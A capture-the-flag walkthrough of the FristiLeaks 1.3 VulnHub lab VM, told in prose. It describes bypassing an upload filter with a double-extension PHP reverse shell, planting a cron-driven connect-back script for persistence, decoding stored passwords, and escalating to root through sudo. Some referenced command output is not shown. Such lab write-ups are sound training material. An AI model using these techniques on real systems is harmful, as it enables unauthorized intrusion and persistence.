FristiLeaks: 1.3

VulnHub URL: https://www.vulnhub.com/entry/fristileaks-13,133/

Hostname: localhost

IP Address: 10.183.0.208

Information Gathering/Recon

The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.208.

Service Enumeration/Scanning

Gaining Access

Visiting the default site for the HTTP service just produces a sort of welcome page. Nmap already showed us some of the software versions in use, but let's use nikto to see if anything else shows up.

Searching the exploit database, the version of Apache in use has a known vulnerability.

Digging into the '36663.txt' vulnerability, this doesn't look promising for gaining remote access to the system. Specifically, "An attacker needs to host a malicious web application on the affected webserver."

From https://www.securityfocus.com/bid/51869/exploit

The exploit database has lots of potential issues for PHP 5.3.3.

The only one that seems to have potential is 18836.py, but trying it doesn't produce the expected result. Moving on...

None of the directories found by nikto produce anything useful. Let's see what dirb gives us.

The only new directory dirb gave us is 'cgi-bin', but attempts to access it fail with a 403 Forbidden error.

Let's think. Cola, sisi and beer are all drinks. So is 'fristi' (like the name of the VM, fristileaks). Let's try http://10.183.0.208/fristi/

Finally, something interesting.

Viewing the page source, we see images are displayed inline as base64. We notice there is a commented out block of base64 text, so we copy it and decode it here.

Nice. Looks like a password. Now, what about a username? We manually try some obvious ones (admin, root, etc), but no dice. Next, we decide to try to brute force the username using wfuzz.

Unfortunately, this also yields no results. Let's see if the username is also "hidden" in the login page source code.

At the top of the page, there is a comment from 'eezeepz'.

Let's try 'eezeepz' as the username and 'keKkeKKeKKeKkEkkEk' as the password.

Works! 😄 And we get to upload a file. I'm thinking, reverse shell.

After clicking the link, we are taken to http://10.183.0.208/fristi/upload.php to upload an image. I'm thinking... not reverse shell?!? 😞

Let's see how strong the input validation is. When trying to upload a random TXT file I get the following back.

Fair enough. Now the question is, are they checking the file extension or the file type/mime type (provided in the request). Let's try this again, using Burp to intercept the request and try to bypass the upload restrictions... [several minutes later] so... I wasn't able to make any manipulations to bypass the restriction. I guess we can just try uploading our PHP reverse shell code with an acceptable extension and see what happens. (According to the Apache documentation, "Care should be taken when a file with multiple extensions gets associated with both a media-type and a handler. This will usually result in the request being handled by the module associated with the handler." So, since an image is a media-type and PHP has a handler, the file.php.png gets processed by the handler... which is good for us.)

I use msfvenom to create the PHP reverse shell code and rename the file as rev.php.png. Uploading this file to the server works and tells me the file is located under /uploads.

Time to start my listeners in Metasploit. Because the PHP reverse shell times out rather quickly, I typically like to start two listeners and jump to a different reverse shell as soon as the first one connects.

With the listeners started, I request my PHP reverse shell "image" from http://10.183.0.208/fristi/uploads/rev.php.png... and my session connects...

Maintaining Access

I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.

I downloaded the script to the victim's /var/www/html/fristi/uploads directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

Privilege Escalation

Looking around in the /var/www/html/fristi directory, I wanted to see if the login credentials we used were hard coded or coming from a database. I checked the 'checklogin.php' file and found the page is using a backend MySQL database and the database credentials are stored in the page source.

Dropping back directory by directory and checking out interesting files, we find a notes.txt file in /var/www.

So, looks like we should take a look at eezeepz's home directory. Let's see where that is exactly.

Right where you'd expect. Before going over there, though, we'll keep looking around.

As we keep stepping back, we notice the directory /var/fristigod. That seems interesting, so we might come back to it later. We don't currently have permissions.

Checking /home, we see the following.

The home directory for eezeepz contains several executables, plus another notes.txt from Jerry.

So, if we are reading this correctly, Jerry has set up a cron job to run a file called /tmp/runthis every minute. Apparently he has also put some commands in /home/admin for us to be able to call directly in our 'runthis' file.

Poor Jerry. The first command I'm going to run is to make all the /home directories wide open.

I edit the file locally and transfer it to the victim's /tmp directory using python's SimpleHTTPServer and wget (like above).

Once I see the cron job has run, it's time to go take a look into Jerry's admin folder.

There are a couple of interesting TXT files with what appear to be encrypted passwords.

Not surprisingly, there is also a python script called cryptpass.py.

We should be able to reverse this encryption routine pretty easily. I'd like to test the original out first to see what format the hashes end up in and to make sure my reverse routine is working. I start by recreating cryptpass.py (with some extra print statements) on my attacking machine and test it out.

So, the routine takes my string, base64 encodes it, reverses the base64 encoded string, then encodes it again using the 'rot13' codec. (The python docs for codecs state that rot13 'Returns the Caesar-cypher encryption of the operand', FYI.)

Now I'll create decryptpass.py, reversing the order of operations (i.e., decode rot13, reverse the string and decode base64).

I test decryptpass.py with the cipher text from my test... and it works.

Time to try the cipher text from Jerry's TXT files. Looking closely at the encrypted strings in the TXT files, we see they don't have the preceding '==' like our test cipher. Let's go ahead and add that when trying to decrypt.

Nice! looks like we were able to decrypt both passwords. Now, to test them. We've already taken over Jerry's home directory. Let's try to become 'fristigod'.

There is a /home/fristigod directory, but we remember seeing in /etc/passwd that fristigod's home directory is actually /var/fristigod (that interesting directory from earlier).

Let's go check it out...

The hidden '.secret_admin_stuff' directory is obviously going to be juicy, but let's check out the .bash_history file first to see what fristigod has been up to.

Looks like they like to use the 'doCom' command. Looks like they can also run it with 'sudo', which is nice. Let's take a page out of their book and try to 'doCom' /bin/bash.

Hello, r00t!

Let's go check out /root

Pivoting

N/A

Clean Up

*** REMOVE /var/www/html/fristi/uploads/rev.php.png ***

*** STOP /var/www/html/fristi/uploads/thumbs ***

*** REMOVE /var/www/html/fristi/uploads/thumbs ***

*** REMOVE /tmp/runthis ***

*** REMOVE /tmp/cronresult ***

*** FIX PERMISSIONS /home/admin ***

Additional Info

After gaining root, I decided to go back and check out those db credentials we found in /var/www/html/fristi/checklogin.php. Unfortunately, the eezeepz was the only user in the members database. There aren't any other tables or databases to look at.